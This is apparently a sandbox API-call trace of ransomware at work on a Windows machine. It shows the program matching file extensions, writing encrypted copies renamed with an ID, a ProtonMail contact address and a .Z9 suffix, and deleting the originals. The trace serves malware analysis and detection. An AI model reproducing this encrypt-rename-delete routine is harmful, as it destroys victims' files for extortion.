	[0074.736] lstrlenW (lpString=".zip") returned 4
	[0074.736] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.736] lstrlenW (lpString=".rar") returned 4
	[0074.736] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.736] lstrlenW (lpString=".bz2") returned 4
	[0074.736] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.736] lstrlenW (lpString=".7z") returned 3
	[0074.736] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.736] lstrlenW (lpString=".dbf") returned 4
	[0074.736] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.736] lstrlenW (lpString=".1cd") returned 4
	[0074.736] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.737] lstrlenW (lpString=".jpg") returned 4
	[0074.737] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.737] lstrlenW (lpString=".doc") returned 4
	[0074.737] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.737] lstrlenW (lpString=".docx") returned 5
	[0074.737] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1
	[0074.737] lstrlenW (lpString=".pdf") returned 4
	[0074.737] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.737] lstrlenW (lpString=".xls") returned 4
	[0074.737] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.737] lstrlenW (lpString=".xlsx") returned 5
	[0074.737] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1
	[0074.737] lstrlenW (lpString=".ppt") returned 4
	[0074.737] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.737] lstrlenW (lpString=".zip") returned 4
	[0074.737] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.737] lstrlenW (lpString=".rar") returned 4
	[0074.737] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.737] lstrlenW (lpString=".bz2") returned 4
	[0074.737] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.737] lstrlenW (lpString=".7z") returned 3
	[0074.737] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.737] lstrlenW (lpString=".dbf") returned 4
	[0074.737] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.737] lstrlenW (lpString=".1cd") returned 4
	[0074.737] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.737] lstrlenW (lpString=".jpg") returned 4
	[0074.738] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.738] lstrcmpiW (lpString1=".gif", lpString2=".Z9") returned -1
	[0074.738] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20
	[0074.738] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0074.738] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=12250) returned 1
	[0074.738] CloseHandle (hObject=0x360) returned 1
	[0074.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20
	[0074.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.738] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0074.738] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.738] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.738] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0074.739] GetLastError () returned 0x0
	[0074.739] ReadFile (in: hFile=0x360, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2fda, lpOverlapped=0x0) returned 1
	[0074.755] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2fe0, lpOverlapped=0x0) returned 1
	[0074.756] ReadFile (in: hFile=0x360, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.756] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0074.757] SetEndOfFile (hFile=0x358) returned 1
	[0074.757] CloseHandle (hObject=0x358) returned 1
	[0074.758] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.758] SetEndOfFile (hFile=0x360) returned 1
	[0074.759] CloseHandle (hObject=0x360) returned 1
	[0074.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0074.759] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1
	[0074.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.759] lstrlenW (lpString=".doc") returned 4
	[0074.759] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.759] lstrlenW (lpString=".docx") returned 5
	[0074.759] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0074.759] lstrlenW (lpString=".pdf") returned 4
	[0074.760] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.760] lstrlenW (lpString=".xls") returned 4
	[0074.760] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.760] lstrlenW (lpString=".xlsx") returned 5
	[0074.760] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0074.760] lstrlenW (lpString=".ppt") returned 4
	[0074.760] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.760] lstrlenW (lpString=".zip") returned 4
	[0074.760] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.760] lstrlenW (lpString=".rar") returned 4
	[0074.760] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.760] lstrlenW (lpString=".bz2") returned 4
	[0074.760] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.760] lstrlenW (lpString=".7z") returned 3
	[0074.760] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.760] lstrlenW (lpString=".dbf") returned 4
	[0074.760] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.760] lstrlenW (lpString=".1cd") returned 4
	[0074.760] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.760] lstrlenW (lpString=".jpg") returned 4
	[0074.760] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.760] lstrlenW (lpString=".doc") returned 4
	[0074.760] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.760] lstrlenW (lpString=".docx") returned 5
	[0074.760] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0074.760] lstrlenW (lpString=".pdf") returned 4
	[0074.760] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.761] lstrlenW (lpString=".xls") returned 4
	[0074.761] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.761] lstrlenW (lpString=".xlsx") returned 5
	[0074.761] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0074.761] lstrlenW (lpString=".ppt") returned 4
	[0074.761] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.761] lstrlenW (lpString=".zip") returned 4
	[0074.761] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.761] lstrlenW (lpString=".rar") returned 4
	[0074.761] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.761] lstrlenW (lpString=".bz2") returned 4
	[0074.761] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.761] lstrlenW (lpString=".7z") returned 3
	[0074.761] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.761] lstrlenW (lpString=".dbf") returned 4
	[0074.761] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.761] lstrlenW (lpString=".1cd") returned 4
	[0074.761] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0074.761] lstrlenW (lpString=".jpg") returned 4
	[0074.761] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.761] lstrcmpiW (lpString1=".gif", lpString2=".Z9") returned -1
	[0074.761] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25
	[0074.761] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0074.763] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=153) returned 1
	[0074.763] CloseHandle (hObject=0x360) returned 1
	[0074.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20
	[0074.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0074.763] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.763] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.764] GetLastError () returned 0x0
	[0074.764] ReadFile (in: hFile=0x360, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x99, lpOverlapped=0x0) returned 1
	[0074.765] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0074.766] ReadFile (in: hFile=0x360, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.766] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x106, lpOverlapped=0x0) returned 1
	[0074.766] SetEndOfFile (hFile=0x364) returned 1
	[0074.773] CloseHandle (hObject=0x364) returned 1
	[0074.775] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.775] SetEndOfFile (hFile=0x360) returned 1
	[0074.780] CloseHandle (hObject=0x360) returned 1
	[0074.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0074.781] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1
	[0075.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.127] lstrlenW (lpString=".doc") returned 4
	[0075.127] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0075.127] lstrlenW (lpString=".docx") returned 5
	[0075.127] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0075.127] lstrlenW (lpString=".pdf") returned 4
	[0075.127] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0075.127] lstrlenW (lpString=".xls") returned 4
	[0075.127] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0075.127] lstrlenW (lpString=".xlsx") returned 5
	[0075.127] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0075.127] lstrlenW (lpString=".ppt") returned 4
	[0075.127] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0075.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.127] lstrlenW (lpString=".zip") returned 4
	[0075.127] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0075.127] lstrlenW (lpString=".rar") returned 4
	[0075.127] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0075.140] lstrlenW (lpString=".bz2") returned 4
	[0075.140] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0075.140] lstrlenW (lpString=".7z") returned 3
	[0075.140] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0075.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.140] lstrlenW (lpString=".dbf") returned 4
	[0075.140] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0075.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.140] lstrlenW (lpString=".1cd") returned 4
	[0075.140] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0075.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.140] lstrlenW (lpString=".jpg") returned 4
	[0075.141] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0075.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.141] lstrlenW (lpString=".doc") returned 4
	[0075.141] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0075.141] lstrlenW (lpString=".docx") returned 5
	[0075.141] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0075.141] lstrlenW (lpString=".pdf") returned 4
	[0075.141] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0075.141] lstrlenW (lpString=".xls") returned 4
	[0075.141] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0075.141] lstrlenW (lpString=".xlsx") returned 5
	[0075.141] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0075.141] lstrlenW (lpString=".ppt") returned 4
	[0075.141] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0075.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.141] lstrlenW (lpString=".zip") returned 4
	[0075.141] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0075.141] lstrlenW (lpString=".rar") returned 4
	[0075.141] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0075.141] lstrlenW (lpString=".bz2") returned 4
	[0075.141] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0075.142] lstrlenW (lpString=".7z") returned 3
	[0075.142] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0075.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.142] lstrlenW (lpString=".dbf") returned 4
	[0075.142] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0075.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.142] lstrlenW (lpString=".1cd") returned 4
	[0075.142] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0075.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0075.142] lstrlenW (lpString=".jpg") returned 4
	[0075.142] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0075.142] lstrcmpiW (lpString1=".txt", lpString2=".Z9") returned -1
	[0075.142] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34
	[0075.142] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.144] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=63933) returned 1
	[0075.144] CloseHandle (hObject=0x320) returned 1
	[0075.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20
	[0075.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.144] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.144] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.144] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.144] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0075.144] GetLastError () returned 0x0
	[0075.144] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xf9bd, lpOverlapped=0x0) returned 1
	[0075.147] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf9c0, lpOverlapped=0x0) returned 1
	[0075.149] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.149] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x118, lpOverlapped=0x0) returned 1
	[0075.149] SetEndOfFile (hFile=0x358) returned 1
	[0075.149] CloseHandle (hObject=0x358) returned 1
	[0075.151] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.151] SetEndOfFile (hFile=0x320) returned 1
	[0075.153] CloseHandle (hObject=0x320) returned 1
	[0075.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.153] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1
	[0075.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.153] lstrlenW (lpString=".doc") returned 4
	[0075.153] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0075.153] lstrlenW (lpString=".docx") returned 5
	[0075.153] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1
	[0075.153] lstrlenW (lpString=".pdf") returned 4
	[0075.153] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
